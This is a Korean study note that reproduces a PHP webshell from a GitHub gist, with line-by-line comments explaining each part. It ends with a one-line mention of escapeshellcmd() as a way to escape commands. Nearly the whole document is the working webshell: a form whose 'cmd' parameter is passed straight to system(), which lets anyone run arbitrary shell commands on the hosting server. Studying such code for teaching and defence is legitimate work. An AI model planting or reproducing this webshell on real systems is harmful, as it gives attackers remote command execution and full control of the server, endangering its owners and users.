easy-simple-php-webshell.php 깃헙 자료입니다.
https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985
//easy-simple-php-webshell.php
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
//GET 메서드를 통해 서버로 데이터를 전송합니다.
//밑에서 $_GET['cmd'] cmd라는 입력 필드를 통해 서버에 명령어를 전달할 수 있습니다.
//<?php echo basename($_SERVER['PHP_SELF']); ?>는 현재 파일 이름을 반환합니다.
//이를 통해 폼의 이름을 현재 파일명으로 설정하는데, 이는 큰 의미는 없으며 가독성을 높이는 정도입니다.
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
//cmd라는 이름의 텍스트 입력 필드를 통해 명령어를 입력받습니다.
<input type="SUBMIT" value="Execute">
//Execute 버튼을 눌러 명령어를 전송하게 됩니다.
</form>
<pre>
<?php
if(isset($_GET['cmd']))
//$_GET['cmd']로 전달된 명령어가 설정되어 있으면
{
system($_GET['cmd'] . ' 2>&1');
//system() 함수는 입력받은 명령어를 서버에서 직접 실행하는 함수
//system() 함수를 사용해 명령어를 실행합니다.
//2>&1는 표준 오류 출력을 표준 출력으로 리다이렉션하여 오류 메시지도 볼 수 있게 해줍니다.
}
?>
</pre>
</body>
</html>
PHP의 escapeshellcmd() 함수를 사용하여 명령어를 이스케이프한다.